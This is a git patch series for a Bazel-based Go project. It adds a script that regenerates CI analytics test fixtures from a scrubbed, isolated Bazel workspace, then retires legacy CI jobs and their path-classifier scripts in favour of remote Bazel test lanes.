+@f4f43b4414847462e830ccf2c6ed78b7f752d507751e9ac2f4edf797aee55ea0�F2*#E€G| +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xmlE +@c97b22d07a3c89431b8b3ecd40ca2e1ff7b17692616d90a4bf67f0606eae9cef²ü:ù +/external/bazel_tools/tools/test/generate-xml.sh +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.log +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml +0 +1? + JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binA +PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles> + RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./flaky_testj + TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel +TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs + TEST_NAME //:flaky_test^ +TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely +TEST_SHARD_INDEX0 + TEST_SIZEmedium= + TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles + TEST_TARGET //:flaky_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87 +TEST_TOTAL_SHARDS0s +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV +TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm + TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd +TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU +TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings +TEST_WORKSPACE_main +TZUTCF +XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml F2(G: //:flaky_testB +TestRunnerZdisk cache hit`hpx‚E +@aec77e861fc71a6827175a35ca9248a9f51b1060f58b9f6debaa414a6c06f0b5’’ +€‰z"À„=XÎ/`¢ ñú—Ö€ÚÖý \ No newline at end of file diff --git a/tools/bazel/testdata/ci_analytics/regen.sh b/tools/bazel/testdata/ci_analytics/regen.sh new file mode 100755 index 000000000..7084c5893 --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/regen.sh @@ -0,0 +1,325 @@ +#!/usr/bin/env bash +# Regenerates real/*.json and real/*.binpb from a disposable scratch Bazel +# workspace. Run manually (not part of any test or CI job); the fixtures it +# produces are committed. This documents how they were made, so a reviewer +# can tell they are real Bazel 9 output and not hand-written JSON, and so +# they can be regenerated against a newer Bazel without re-deriving the +# scratch workspace from scratch. +# +# Isolation matters here as much as in bazel.yml itself, and more: the host +# that runs this script is a live operator workstation, not a disposable CI +# runner, so Bazel's own BEP `started` event and --client_env echo the whole +# ambient environment (hostname, user, SSH_CLIENT, auth tokens, gateway key +# paths, ...) straight into the fixture unless we scrub it. We do that in two +# layers: +# 1. Run Bazel under `env -i` with a minimal, scratch-local environment, so +# there is nothing secret in the environment to begin with. +# 2. Pass every raw BEP file through filter_bep() below, which keeps only +# the events and fields tools/bazel/ci_analytics_extract.py actually +# reads, before anything is copied into $out. This is defense in depth: +# even a future Bazel version that adds new ambient fields to `started` +# or a new event kind gets dropped by default, not included by default. +# +# --nohome_rc --nosystem_rc keep the home .bazelrc (which may carry a real +# --remote_executor) out of the invocation, and --output_user_root puts the +# repo-contents cache outside the scratch workspace. No remote flags are +# passed at all: these fixtures are deliberately local-only (disk_cache_hit, +# not remote_cache_hit). A synthetic remote-runner fixture is built in +# ci_analytics_extract_test.py instead, from its own varint encoder, since +# this repo's sandbox has no RBE endpoint to run against. +set -euo pipefail + +real_bazel=$(command -v bazel) + +scratch=$(mktemp -d) +userroot=$(mktemp -d) +diskcache=$(mktemp -d) +home="$scratch/home" +mkdir -p "$home" +trap 'rm -rf "$scratch" "$userroot" "$diskcache"' EXIT + +repo_root=$(cd "$(dirname "${BASH_SOURCE[0]}")/../../../.." && pwd) +cp "$repo_root/.bazelversion" "$scratch/.bazelversion" + +cat >"$scratch/MODULE.bazel" <<'EOF' +module(name = "s2scratch", version = "0.0.0") +bazel_dep(name = "rules_cc", version = "0.0.17") +EOF + +cat >"$scratch/BUILD.bazel" <<'EOF' +load("@rules_cc//cc:defs.bzl", "cc_test") + +cc_test( + name = "pass_test", + srcs = ["main_pass.c"], +) + +cc_test( + name = "sharded_test", + srcs = ["main_shard.c"], + shard_count = 3, +) + +cc_test( + name = "flaky_test", + srcs = ["main_fail.c"], +) + +genrule( + name = "gen_out", + outs = ["gen_out.txt"], + cmd = "echo hello > $@", +) +EOF + +cat >"$scratch/main_pass.c" <<'EOF' +int main(void) { return 0; } +EOF + +cat >"$scratch/main_fail.c" <<'EOF' +int main(void) { return 1; } +EOF + +cat >"$scratch/main_shard.c" <<'EOF' +#include +#include + +int main(void) { + const char *status_file = getenv("TEST_SHARD_STATUS_FILE"); + if (status_file != NULL) { + FILE *f = fopen(status_file, "w"); + if (f != NULL) { + fclose(f); + } + } + return 0; +} +EOF + +cd "$scratch" + +# A fully scrubbed environment: no inherited secrets, SSH state, gateway +# addresses or tokens. PATH is just enough for a C toolchain and bazel's own +# exec needs; HOME is scratch-local so nothing in it (no ~/.bazelrc either) +# can leak in, and so Bazel's own "user"/"host" fields come from this +# sandboxed identity rather than the operator's. +run_bazel() { + env -i \ + HOME="$home" \ + PATH=/usr/bin:/bin \ + USER=fixture \ + LOGNAME=fixture \ + TMPDIR=/tmp \ + "$real_bazel" --nohome_rc --nosystem_rc "--output_user_root=$userroot" "$@" +} + +out="$1" # destination dir, e.g. tools/bazel/testdata/ci_analytics/real +mkdir -p "$out" + +# filter_bep keeps only the BEP events and fields +# tools/bazel/ci_analytics_extract.py reads (plus buildToolLogs' "name" and +# "contents", with "uri" stripped, since those are local filesystem paths and +# not needed to recompute anything the extractor reports). Everything else — +# unstructuredCommandLine, structuredCommandLine, optionsParsed, +# workspaceStatus, buildMetadata, progress, and the leaky parts of started — +# is dropped entirely rather than merely left unused, so the fixture itself +# carries nothing a reviewer reading the raw JSON could call a leak. +filter_bep() { + python3 - "$1" "$2" <<'PY' +import json +import sys + +src, dst = sys.argv[1], sys.argv[2] + +# Positive allowlists only, one per event kind: every key below is one +# ci_analytics_extract.py actually reads (cross-checked against +# build_timing/build_tests/build_action_data). Nothing else survives, +# including keys a future Bazel version might add -- a denylist (drop just +# the known-leaky keys) was tried first and missed testSummary.passed/ +# failed[].uri (a file:// local path) entirely; an allowlist +# can't miss a key like that by construction, it would just never be kept. +STARTED_KEEP = {"uuid", "command", "buildToolVersion", "startTimeMillis"} +TESTRESULT_KEEP = {"status", "cachedLocally", "testAttemptDuration", "testAttemptDurationMillis"} +EXECINFO_KEEP = {"strategy", "timingBreakdown"} +TIMING_CHILD_KEEP = {"name", "time"} +TESTSUMMARY_KEEP = {"overallStatus", "shardCount", "attemptCount", "totalNumCached"} +FINISHED_KEEP = {"finishTimeMillis"} +EXITCODE_KEEP = {"code", "name"} +LOG_ENTRY_KEEP = {"name", "contents"} + + +def pick(d, keys): + return {k: v for k, v in d.items() if k in keys} if isinstance(d, dict) else {} + + +def filter_test_result(tr): + if not isinstance(tr, dict): + return {} + out = pick(tr, TESTRESULT_KEEP) + ei = tr.get("executionInfo") + if isinstance(ei, dict): + filtered_ei = pick(ei, EXECINFO_KEEP) + tbd = ei.get("timingBreakdown") + if isinstance(tbd, dict) and isinstance(tbd.get("child"), list): + filtered_ei["timingBreakdown"] = { + "child": [pick(c, TIMING_CHILD_KEEP) for c in tbd["child"] if isinstance(c, dict)] + } + out["executionInfo"] = filtered_ei + return out + + +def filter_build_metrics(bm): + if not isinstance(bm, dict): + return {} + out = {} + tm = bm.get("timingMetrics") + if isinstance(tm, dict): + out["timingMetrics"] = pick( + tm, + { + "cpuTimeInMs", + "wallTimeInMs", + "analysisPhaseTimeInMs", + "executionPhaseTimeInMs", + "actionsExecutionStartInMs", + "criticalPathTime", + "criticalPathTimeInMs", + }, + ) + asum = bm.get("actionSummary") + if isinstance(asum, dict): + filtered_asum = pick(asum, {"actionsCreated", "actionsExecuted"}) + if isinstance(asum.get("runnerCount"), list): + filtered_asum["runnerCount"] = [ + pick(rc, {"name", "count", "execKind"}) for rc in asum["runnerCount"] if isinstance(rc, dict) + ] + acs = asum.get("actionCacheStatistics") + if isinstance(acs, dict): + filtered_asum["actionCacheStatistics"] = pick(acs, {"hits", "misses"}) + if isinstance(asum.get("actionData"), list): + filtered_asum["actionData"] = [ + pick(ad, {"mnemonic", "actionsExecuted", "actionsCreated", "userTime", "systemTime"}) + for ad in asum["actionData"] + if isinstance(ad, dict) + ] + out["actionSummary"] = filtered_asum + pm = bm.get("packageMetrics") + if isinstance(pm, dict): + out["packageMetrics"] = pick(pm, {"packagesLoaded"}) + tgm = bm.get("targetMetrics") + if isinstance(tgm, dict): + out["targetMetrics"] = pick(tgm, {"targetsConfigured"}) + nmw = bm.get("networkMetrics") + nm = nmw.get("systemNetworkStats") if isinstance(nmw, dict) else None + if isinstance(nm, dict): + out["networkMetrics"] = {"systemNetworkStats": pick(nm, {"bytesRecv", "bytesSent"})} + return out + + +with open(src) as fin, open(dst, "w") as fout: + for line in fin: + line = line.strip() + if not line: + continue + event = json.loads(line) + kept = {} + # "id" carries the BEP identifier for this event (e.g. + # id.testResult.label / id.testSummary.label), which + # ci_analytics_extract.py reads to group test rows by label. It is + # not leaky on its own (a label, run/shard/attempt numbers), so it + # is kept verbatim alongside whichever event body below is kept. + if "id" in event: + kept["id"] = event["id"] + if "started" in event and isinstance(event["started"], dict): + kept["started"] = pick(event["started"], STARTED_KEEP) + elif "testResult" in event: + kept["testResult"] = filter_test_result(event["testResult"]) + elif "testSummary" in event and isinstance(event["testSummary"], dict): + # passed/failed (TestFile{uri, ...} lists) are never read by + # the extractor at all: dropped entirely, not merely + # uri-stripped, along with anything else not in the allowlist. + kept["testSummary"] = pick(event["testSummary"], TESTSUMMARY_KEEP) + elif "buildMetrics" in event: + kept["buildMetrics"] = filter_build_metrics(event["buildMetrics"]) + elif "finished" in event and isinstance(event["finished"], dict): + fin_ev = pick(event["finished"], FINISHED_KEEP) + ec = event["finished"].get("exitCode") + if isinstance(ec, dict): + fin_ev["exitCode"] = pick(ec, EXITCODE_KEEP) + kept["finished"] = fin_ev + elif "buildToolLogs" in event: + btl = event["buildToolLogs"] + logs = btl.get("log") if isinstance(btl, dict) else None + kept["buildToolLogs"] = { + "log": [pick(entry, LOG_ENTRY_KEEP) for entry in (logs or []) if isinstance(entry, dict)] + } + else: + kept.pop("id", None) + continue + fout.write(json.dumps(kept) + "\n") +PY +} + +# trim_profile keeps only the "Fetching repository" category entries the +# extractor's iter_repo_fetch() reads, dropping the (much larger, and +# otherwise unredacted) rest of the Chrome trace. Written one event per +# line -- {"traceEvents":[\n{...},\n{...}\n]} -- matching the real, +# streamable shape Bazel itself writes a JSON --profile in (as opposed to +# json.dump()'s single line): iter_repo_fetch() reads the profile line by +# line specifically so it never has to hold the whole (potentially huge) +# trace in memory, and a single-line file defeats that path entirely +# (every "Fetching repository" entry, if there's more than one, ends up on +# the one line containing the literal "traceEvents" key instead, which +# doesn't have a "cat" of its own and is skipped -- repo_fetch would always +# be empty, and the test for it would pass vacuously). +trim_profile() { + python3 - "$1" "$2" <<'PY' +import json +import sys + +src, dst = sys.argv[1], sys.argv[2] +with open(src) as f: + doc = json.load(f) +events = [ + e for e in doc.get("traceEvents", []) if e.get("cat") == "Fetching repository" +] +with open(dst, "w") as f: + f.write('{"traceEvents":[\n') + f.write(",\n".join(json.dumps(e) for e in events)) + f.write("\n]}\n") +PY +} + +# Cold: no disk cache. pass_test and sharded_test pass; flaky_test fails +# (deliberately, so the fixture has a FAILED testResult too). +run_bazel test //... \ + --keep_going \ + --build_event_json_file="$scratch/cold-bep.raw.json" \ + --execution_log_compact_file="$scratch/cold-exec.log" \ + --profile="$scratch/cold-profile.raw.json" || true +filter_bep "$scratch/cold-bep.raw.json" "$out/cold-bep.json" +zstd -dc --long=0 "$scratch/cold-exec.log" >"$out/cold-exec.binpb" +trim_profile "$scratch/cold-profile.raw.json" "$out/cold-profile.json" + +# Warm: first run with --disk_cache set populates it (its own actions are +# still local execs; the disk cache is empty going in). Not copied to $out +# on its own; it only sets up the disk cache for the post-clean run below. +run_bazel test //... \ + --keep_going \ + "--disk_cache=$diskcache" \ + --build_event_json_file="$scratch/warm1-bep.json" \ + --execution_log_compact_file="$scratch/warm1-exec.log" || true + +# Post-clean, with the disk cache warm1 just populated: every action is a +# disk_cache_hit except flaky_test's TestRunner spawn (Bazel never caches a +# failed test's result, so it reruns and misses). +run_bazel clean +run_bazel test //... \ + --keep_going \ + "--disk_cache=$diskcache" \ + --build_event_json_file="$scratch/postclean-bep.raw.json" \ + --execution_log_compact_file="$scratch/postclean-exec.log" || true +filter_bep "$scratch/postclean-bep.raw.json" "$out/postclean-bep.json" +zstd -dc --long=0 "$scratch/postclean-exec.log" >"$out/postclean-exec.binpb" + +echo "wrote fixtures to $out" >&2 From 4f924fc16148cdb25ef60267dc9e23befc2c59bd Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 09:31:20 +0000 Subject: [PATCH 039/213] ci(bazel): retire PR Risk's legacy Dolt tiers, pr.yml's legacy Go jobs and the D2 coverage flags (#7353) Every pull_request and merge group already took the Bazel lanes for the retired tiers (BAZEL_RETIRES_LEGACY_* and BAZEL_COVERS_FORKS all "true", and pr.yml/pr-risk.yml run on no other event), so the legacy jobs those flags stood down could never run again. Remove them with their decision: - pr-risk.yml: build-embedded, test-embedded-{storage,conformance,cmd}, test-proxied-cmd, test-server-storage{,-full}, detect-ci-tier (and its ci-embedded-tier.sh / ci-capability-selector.sh scripts) and bazel-coverage. PR Risk keeps the Nix packaging check (test-nix) and its gate, PR Risk Gate / Required. - pr.yml: build-artifacts, check-cmd-bd-puregeo-tests, pr-core-wrapper and bazel-coverage; the BAZEL_RETIRES_LEGACY_* and BAZEL_COVERS_FORKS flags. The three BAZEL_*_RETIRED gate ids become one, BAZEL_REMOTE: the Bazel call must have run remotely (remote, fork-ro or fork-rw) on every PR and merge group, each lane's own id still required. Gate names unchanged. Policy tests: the D2 decision matrix becomes TestPRGateRequiresRemoteBazelLanes (bazel.yml's actual rbe step and pr.yml's actual gate over every event/variable/secret/fork/actor/mint fact); the parity tests that read the legacy jobs now pin the Bazel lanes against those jobs' frozen commands. ga-96smfk.22 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/ci-capability-selector.sh | 163 --- .github/scripts/ci-embedded-tier.sh | 103 -- .github/workflows/bazel.yml | 114 +-- .github/workflows/pr-risk.yml | 615 +----------- .github/workflows/pr.yml | 456 +-------- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 304 ++---- scripts/BUILD.bazel | 1 - scripts/ci_blacksmith_runner_test.go | 6 +- scripts/ci_capability_selector_test.go | 281 ------ scripts/ci_merge_queue_test.go | 61 +- scripts/ci_workflow_test.go | 530 +++------- scripts/conformance_script_test.go | 2 +- scripts/embedded_shard_count_test.go | 21 + scripts/pr_lanes_bazel_coverage_test.go | 262 +---- scripts/pr_risk_bazel_coverage_test.go | 1089 +++------------------ scripts/pull_dolt_image_test.go | 11 +- 16 files changed, 516 insertions(+), 3503 deletions(-) delete mode 100755 .github/scripts/ci-capability-selector.sh delete mode 100755 .github/scripts/ci-embedded-tier.sh delete mode 100644 scripts/ci_capability_selector_test.go diff --git a/.github/scripts/ci-capability-selector.sh b/.github/scripts/ci-capability-selector.sh deleted file mode 100755 index ca9624153..000000000 --- a/.github/scripts/ci-capability-selector.sh +++ /dev/null @@ -1,163 +0,0 @@ -#!/usr/bin/env bash -# Report candidate PR Risk capabilities without changing the current gates. - -set -euo pipefail - -embedded_cli=false -proxied_cli=false -embedded_storage=false -embedded_conformance=false -server_conformance=false -full=false -reason="" -diff_file="" - -cleanup() { - if [[ -n "$diff_file" ]]; then - rm -f "$diff_file" - fi -} -trap cleanup EXIT - -set_full() { - embedded_cli=true - proxied_cli=true - embedded_storage=true - embedded_conformance=true - server_conformance=true - full=true - reason="$1" -} - -emit() { - local lines=( - "embedded_cli=$embedded_cli" - "proxied_cli=$proxied_cli" - "embedded_storage=$embedded_storage" - "embedded_conformance=$embedded_conformance" - "server_conformance=$server_conformance" - "full=$full" - "reason=$reason" - ) - printf '%s\n' "${lines[@]}" - if [[ -n "${GITHUB_OUTPUT:-}" ]]; then - printf '%s\n' "${lines[@]}" >> "$GITHUB_OUTPUT" - fi -} - -event_name="${GITHUB_EVENT_NAME:-}" -base_sha="${PR_BASE_SHA:-}" -head_sha="${PR_HEAD_SHA:-}" -case "$event_name" in - pull_request) ;; - push) set_full "push"; emit; exit 0 ;; - merge_group) set_full "merge_group"; emit; exit 0 ;; - *) set_full "unsupported_event"; emit; exit 0 ;; -esac - -if [[ -z "$base_sha" || -z "$head_sha" ]]; then - set_full "missing_bounds" - emit - exit 0 -fi - -diff_file=$(mktemp) -if ! git diff --no-ext-diff --find-renames --name-status -z "$base_sha" "$head_sha" -- > "$diff_file"; then - set_full "diff_failed" - emit - exit 0 -fi - -saw_path=false -saw_cmd=false -saw_embedded=false -saw_server=false -saw_conformance=false - -while :; do - status="" - if ! IFS= read -r -d '' status <&3; then - if [[ -n "$status" ]]; then - set_full "malformed_record" - fi - break - fi - if [[ "$status" != "A" && "$status" != "M" ]]; then - set_full "unsafe_status" - break - fi - path="" - if ! IFS= read -r -d '' path <&3; then - set_full "malformed_record" - break - fi - saw_path=true - if [[ -z "$path" || "$path" == /* || "/$path/" == *"/../"* || "$path" == . || "$path" == .. || "$path" == ./* ]]; then - set_full "unsafe_path" - break - fi - case "$path" in - .github/workflows/*|.github/scripts/*) - set_full "unsafe_control" - break - ;; - .buildflags|go.mod|go.sum|Makefile|default.nix|flake.nix|flake.lock|overlay.nix|packages.nix) - set_full "build_input" - break - ;; - cmd/bd/*) - embedded_cli=true - proxied_cli=true - saw_cmd=true - ;; - internal/storage/embeddeddolt/*) - embedded_cli=true - embedded_storage=true - embedded_conformance=true - saw_embedded=true - ;; - internal/storage/dolt/*) - proxied_cli=true - server_conformance=true - saw_server=true - ;; - backend/conformance/*|test/conformance/*) - embedded_conformance=true - server_conformance=true - saw_conformance=true - ;; - internal/storage/*|backend/*|schema/*) - set_full "cross_cutting_storage" - break - ;; - docs/*.md|docs/*.mdx|docs/*.png|docs/*.jpg|docs/*.jpeg|docs/*.gif|docs/*.svg|docs/*.webp|docs/*.avif|engdocs/*.md|engdocs/*.mdx|engdocs/*.png|engdocs/*.jpg|engdocs/*.jpeg|engdocs/*.gif|engdocs/*.svg|engdocs/*.webp|engdocs/*.avif|README.md|CHANGELOG.md|ARTICLES.md|BENCHMARKS.md|NEWSLETTER.md) - ;; - *) - set_full "unowned_path" - break - ;; - esac -done 3< "$diff_file" - -if [[ "$full" != true ]]; then - if [[ "$embedded_cli" == true && "$proxied_cli" == true && "$embedded_storage" == true && "$embedded_conformance" == true && "$server_conformance" == true ]]; then - full=true - reason="full" - elif [[ "$saw_path" != true ]]; then - reason="empty_diff" - elif [[ "$saw_cmd" == true && "$saw_embedded" != true && "$saw_server" != true && "$saw_conformance" != true ]]; then - reason="cmd_bd" - elif [[ "$saw_embedded" == true && "$saw_cmd" != true && "$saw_server" != true && "$saw_conformance" != true ]]; then - reason="embedded_storage" - elif [[ "$saw_server" == true && "$saw_cmd" != true && "$saw_embedded" != true && "$saw_conformance" != true ]]; then - reason="server_storage" - elif [[ "$saw_conformance" == true && "$saw_cmd" != true && "$saw_embedded" != true && "$saw_server" != true ]]; then - reason="shared_conformance" - elif [[ "$saw_cmd" == false && "$saw_embedded" == false && "$saw_server" == false && "$saw_conformance" == false ]]; then - reason="docs_only" - else - reason="mixed" - fi -fi - -emit diff --git a/.github/scripts/ci-embedded-tier.sh b/.github/scripts/ci-embedded-tier.sh deleted file mode 100755 index 62c943059..000000000 --- a/.github/scripts/ci-embedded-tier.sh +++ /dev/null @@ -1,103 +0,0 @@ -#!/usr/bin/env bash -# Decide whether CI should run the full embedded Dolt build/storage/cmd matrix. - -set -euo pipefail - -event_name="${GITHUB_EVENT_NAME:-}" -base_sha="${PR_BASE_SHA:-}" -head_sha="${PR_HEAD_SHA:-}" - -full_embedded=false -reason="" -changed_files="" - -write_outputs() { - if [ -n "${GITHUB_OUTPUT:-}" ]; then - { - echo "full_embedded=$full_embedded" - echo "reason=$reason" - } >> "$GITHUB_OUTPUT" - fi -} - -case "$event_name" in - push) - full_embedded=true - reason="push to main runs full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 - ;; - merge_group) - full_embedded=true - reason="merge queue runs full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 - ;; -esac - -if [ "$event_name" != "pull_request" ]; then - full_embedded=true - reason="non-PR event runs full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 -fi - -if [ -z "$base_sha" ] || [ -z "$head_sha" ]; then - full_embedded=true - reason="PR diff bounds unavailable; defaulting to full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 -fi - -if ! changed_files="$(git diff --name-only "$base_sha" "$head_sha")"; then - full_embedded=true - reason="PR diff failed; defaulting to full embedded Dolt coverage" - write_outputs - echo "$reason" - exit 0 -fi - -if [ -z "$changed_files" ]; then - reason="no changed files detected; skipping embedded Dolt matrix" - write_outputs - echo "$reason" - exit 0 -fi - -while IFS= read -r path; do - case "$path" in - cmd/*|internal/*|tests/*|scripts/*|.github/scripts/*|.github/workflows/*) - full_embedded=true - reason="changed $path" - break - ;; - *.go|go.mod|go.sum|Makefile|default.nix|flake.nix|flake.lock|packages.nix) - full_embedded=true - reason="changed $path" - break - ;; - AGENTS.md|AGENT_INSTRUCTIONS.md|CONTRIBUTING.md|RELEASING.md) - full_embedded=true - reason="changed $path" - break - ;; - esac -done <<< "$changed_files" - -if [ "$full_embedded" = true ]; then - reason="risk path detected: $reason; running full embedded Dolt coverage" -else - reason="docs/metadata-only PR; skipping embedded Dolt storage/cmd matrix" -fi - -write_outputs - -echo "$reason" -echo "Changed files:" -while IFS= read -r path; do - printf ' %s\n' "$path" -done <<< "$changed_files" diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 44f3de19a..8d5f90aab 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,23 +1,17 @@ -# Bazel side-by-side lane, gated alongside the legacy go test jobs. Runs -# `bazel test //... --config=ci`, the PR Core-parity selection (race, -short, -# dolt skip), plus one job per mirrored CI job (pure-Go and -# js/wasm, the dolt-server lane, pr-risk.yml's embedded-Dolt, proxied-server -# and server-Dolt storage tiers, main.yml's integration jobs). +# The Bazel lanes: the only CI run of the Linux Go test tiers. Runs +# `bazel test //... --config=ci`, the PR-core selection (race, -short, dolt +# skip), plus one job per tier (pure-Go and js/wasm, the dolt-server lane, +# the embedded-Dolt, proxied-server and server-Dolt storage tiers that +# pr-risk.yml used to run, integration, the cmd/bd Dolt-server tier). # -# PRs and merge groups run it through pr.yml's `bazel` job (workflow_call), -# in the same run as the legacy jobs it mirrors, which stay required too, -# except where their D2 flag retires them: while the committed -# BAZEL_RETIRES_LEGACY_EMBEDDED / BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS / -# BAZEL_RETIRES_LEGACY_PR_LANES flag is "true", on a same-repo, -# non-Dependabot pull_request or a merge_group run (whatever the mode), the -# bazel-coverage job stands down pr-risk.yml's embedded-Dolt test jobs (bazel-embedded runs -# the tier), its proxied-server and server-Dolt storage test jobs -# (bazel-proxied, bazel-server-storage), or pr.yml's PR Core, -# build-artifacts and pure-Go/js-wasm jobs (bazel-test, bazel-pure; their -# `bazel test`s then add --config=sole-run, as bazel-doltserver's does: it -# is the only run of the retired domain+uow and contract corpus jobs' tests); pr.yml's ci-gate then requires those lanes to have run -# remotely and passed, so modes skip, local and cache are red there -# (scripts/pr_risk_bazel_coverage_test.go, pr_lanes_bazel_coverage_test.go). +# PRs and merge groups run it through pr.yml's `bazel` job (workflow_call). +# The legacy go test jobs these lanes mirrored are retired (ga-96smfk.22), +# so pr.yml's ci-gate requires the lanes to have run remotely on rbe-west +# and passed on every pull_request and merge group (BAZEL_REMOTE): modes +# skip, local and cache are red there (scripts/pr_risk_bazel_coverage_test.go). +# Where a lane executes remotely its `bazel test`s add --config=sole-run: it +# is the tier's only run, so a remote cache eviction fails it rather than +# re-running the invocation (whose retry could turn a failed test green). # Test results are cached (read and written) on every run but nightly's: a # test whose action key is unchanged reuses the PASS the farm recorded for # it, on a PR, a merge group (merge queue) or a push to main alike, and only @@ -286,9 +280,7 @@ on: required: false default: "off" # "on" (pr.yml only) runs package-mcp and package-npm in this call, - # which waits on nothing but the rbe job (F3: the legacy pr.yml jobs - # those gates used to need: detect-package-gates, build-artifacts, - # bazel-coverage, and the whole bazel call). bazel-farm.yml, nightly.yml + # which waits on nothing but the rbe job. bazel-farm.yml, nightly.yml # and direct runs (push, dispatch) keep the default "off": main.yml # keeps its own package jobs, and a fork-farm run has no bd artifact # consumer waiting on these. @@ -700,13 +692,13 @@ jobs: outputs: result: ${{ steps.result.outputs.result }} env: - # D2 step 3: on covered PRs and merge groups (always mode remote) this - # lane is the only pre-merge run of pr.yml's legacy PR Core job, which - # never retried: --config=sole-run then fails on a remote cache eviction - # instead of re-running the whole invocation (whose retry could turn a - # failed test green). Fork modes do the same (with BAZEL_COVERS_FORKS - # "true" it is their only run too). Test results are cached and reused - # like every lane's; only nightly re-executes them all (BAZEL_FRESH). + # This lane is the only pre-merge run of the PR-core tests (pr.yml's + # retired PR Core job never retried): where it executes remotely + # (mode remote, and the fork modes) --config=sole-run fails on a + # remote cache eviction instead of re-running the whole invocation + # (whose retry could turn a failed test green). Test results are + # cached and reused like every lane's; only nightly re-executes them + # all (BAZEL_FRESH). BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). @@ -792,10 +784,9 @@ jobs: echo >> "$GITHUB_STEP_SUMMARY" exit "$rc" - # pr.yml's build-artifacts job, built by Bazel: the same artifact name - # and layout (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt). Where - # build-artifacts stands down (D2 step 3), its other consumer (PR - # Core) stands down there too. F3: the package gates build + # pr.yml's retired build-artifacts job, built by Bazel: the same + # artifact name and layout (bd-linux-gms-pure, SHA256SUMS, + # build-manifest.txt). F3: the package gates build # their own bd and no longer consume this artifact; it is kept for the # F3.5.3 SHA256SUMS comparison and for debugging. The script documents # which binary and how it differs from `go build`'s. @@ -967,13 +958,12 @@ jobs: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" - # pr.yml's check-cmd-bd-puregeo-tests job ("Check pure-Go and js/wasm - # boundaries (CGO_ENABLED=0)") with Bazel-built binaries: --config=pure - # builds bd and the job's three pure test binaries and runs its -short - # cmd/bd subset (PURE_CMD_BD_TESTS, kept equal to the job's -run selector by - # scripts/ci_workflow_test.go); --config=js-wasm builds the hooks test for - # js/wasm, which the Go SDK's go_js_wasm_exec runs under node with the job's - # exact pass-count guard. + # The CGO_ENABLED=0 portability boundaries (pr.yml's retired + # check-cmd-bd-puregeo-tests job) with Bazel-built binaries: --config=pure + # builds bd and three pure test binaries and runs the -short cmd/bd subset + # (PURE_CMD_BD_TESTS, pinned by scripts/ci_workflow_test.go); + # --config=js-wasm builds the hooks test for js/wasm, which the Go SDK's + # go_js_wasm_exec runs under node with an exact pass-count guard. bazel-pure: name: pure-Go and js/wasm # Same runner and skip rule as bazel-test. @@ -985,14 +975,11 @@ jobs: result: ${{ steps.result.outputs.result }} env: PURE_CMD_BD_TESTS: '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' - # D2 step 3: on covered PRs and merge groups (always mode remote) this - # lane is the only pre-merge run of pr.yml's legacy pure-Go and js/wasm - # job, which never retried: --config=sole-run then fails on a remote - # cache eviction instead of re-running the whole invocation (whose retry - # could turn a failed test green). Fork modes do the same (with - # BAZEL_COVERS_FORKS "true" it is their only run too). Test results are - # cached and reused like every lane's; only nightly re-executes them all - # (BAZEL_FRESH). + # The only pre-merge run of these boundaries: where it executes + # remotely --config=sole-run fails on a remote cache eviction instead + # of re-running the whole invocation (whose retry could turn a failed + # test green). Test results are cached and reused like every lane's; + # only nightly re-executes them all (BAZEL_FRESH). BAZEL_SOLE_RUN: ${{ needs.rbe.outputs.enabled == 'true' && '--config=sole-run' || '' }} steps: # inputs.checkout-sha: see the header (empty: the event's default ref). @@ 